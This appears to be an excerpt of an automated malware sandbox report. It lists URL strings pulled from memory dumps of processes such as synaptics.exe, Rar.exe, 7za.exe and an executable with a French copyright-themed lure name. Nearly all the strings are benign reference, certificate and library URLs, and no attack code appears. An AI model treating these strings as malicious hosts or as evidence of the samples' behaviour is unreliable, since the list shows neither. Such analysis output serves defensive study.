Source: synaptics.exe, 00000019.00000003.2721260976.0000000001464000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714548577.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712506802.0000000001468000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710269576.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710952362.000000000145E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716937718.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2707213086.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2708288988.0000000001467000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2718243252.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/
Source: synaptics.exe, 00000019.00000003.2784016095.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue16298)
Source: synaptics.exe, 00000019.00000003.2651931586.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2651887463.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2652698049.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782184289.000000000194C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue28539
Source: synaptics.exe, 00000019.00000003.2654188071.0000000000976000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: synaptics.exe, 00000019.00000003.2771140876.00000000018D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cn.haihaisoft.com/%E6%B5%B7%E6%B5%B7%E8%BD%AF%E4%BB%B6PDF%E9%98%85%E8%AF%BB%E5%99%A8.aspxopen
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cn.haihaisoft.comhttp://www.haihaisoft.comcnhttp://cn.haihaisoft.com/%E6%B5%B7%E6%B5%B7%E8%BD
Source: synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: synaptics.exe, 00000019.00000003.2799507572.00000000018DB000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2799932465.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo.com/
Source: synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo.com:/
Source: synaptics.exe	String found in binary or memory: http://google.com/
Source: synaptics.exe, 00000019.00000003.2797510023.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2816004533.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786306523.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2817335724.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2785072789.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790609043.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2801095074.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793584714.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2787017554.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782354932.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784343702.0000000001909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/7aaba721ebc0/Lib/socket.py#l252
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://itexmac.sourceforge.net/SyncTeX.htmlJ
Source: synaptics.exe, 00000019.00000003.2693180646.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2691779594.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2691779594.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mail.python.org/pipermail/python-bugs-list/2001-January/003752.html
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://mailto:EmbeddedFilesTypeFilespecD%s%dR%s%sA%s%sKids.seen.seen.seenNumsSPStD%s.%d:%d:%dInfoPag
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://mupdf.comMuPDFpdf
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://p.yusukekamiyamane.com/Yusuke
Source: synaptics.exe, 00000019.00000003.2790722943.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: 7za.exe, 00000007.00000003.2446192942.0000000000B10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc3986#section-5.2.4
Source: synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5234#appendix-B.1
Source: synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc7230#section-3.2)
Source: synaptics.exe, 00000019.00000003.2790722943.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://william.famille-blum.org/William
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0Digitized
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed
Source: synaptics.exe, 00000019.00000003.2716324586.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2706771906.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715096502.0000000001735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/ih
Source: synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696381715.000000000146F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698373345.000000000173F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.drm-x.com/pdfversion.htm1.5.7.0..http://www.haihaisoft.com/PDF_Reader_download.aspxopenSo
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.drm-x.net/http://cn.drm-x.com/LicPrepare2008.aspxLicPrepare20082013.aspx.drm-x.com/2/%s?c
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.flashvidz.tk/Zenonprogram
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.freetype.org/FreeTypefont
Source: synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.haihaisoft.com/Contact.aspx
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.haihaisoft.com/Contact.aspx%u%?.Install_DirSoftware
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.haihaisoft.com/PDF_Reader_download.aspxhttp://www.drm-x.com/pdfversion.htmMS
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.haihaisoft.comSumatraPDF
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.haihaisoft.comlibmupdf.pdbSumatraPDF.pdbSumatraPDF-prereleaseSumatraPDF.pdbSumatraPDF-1.5
Source: synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715525471.0000000000924000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2767994349.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716717734.0000000001748000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2770389333.0000000001A8E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2756734582.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716324586.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2801095074.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716324586.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715688704.0000000000925000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2757467562.0000000001A9C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715798523.0000000001A9F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2760858496.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716937718.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2816004533.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2804587501.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2766115572.0000000001A8E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2726548677.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2723372248.0000000001418000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2702565747.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2777848553.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712213460.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2703826004.0000000001A72000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2704863098.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2704863098.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698505388.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2702565747.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2747843864.0000000001401000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710269576.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698505388.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2700903482.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714548577.000000000141C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2778035451.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2719763961.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2758919587.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696381715.000000000146F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2706771906.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698373345.000000000173F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: synaptics.exe, 00000019.00000003.2796875448.0000000001675000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pkware.com/documents/casestudies/APPNOTE.TXT
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllbad
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.zeniko.ch/#SumatraPDFSimon
Source: synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
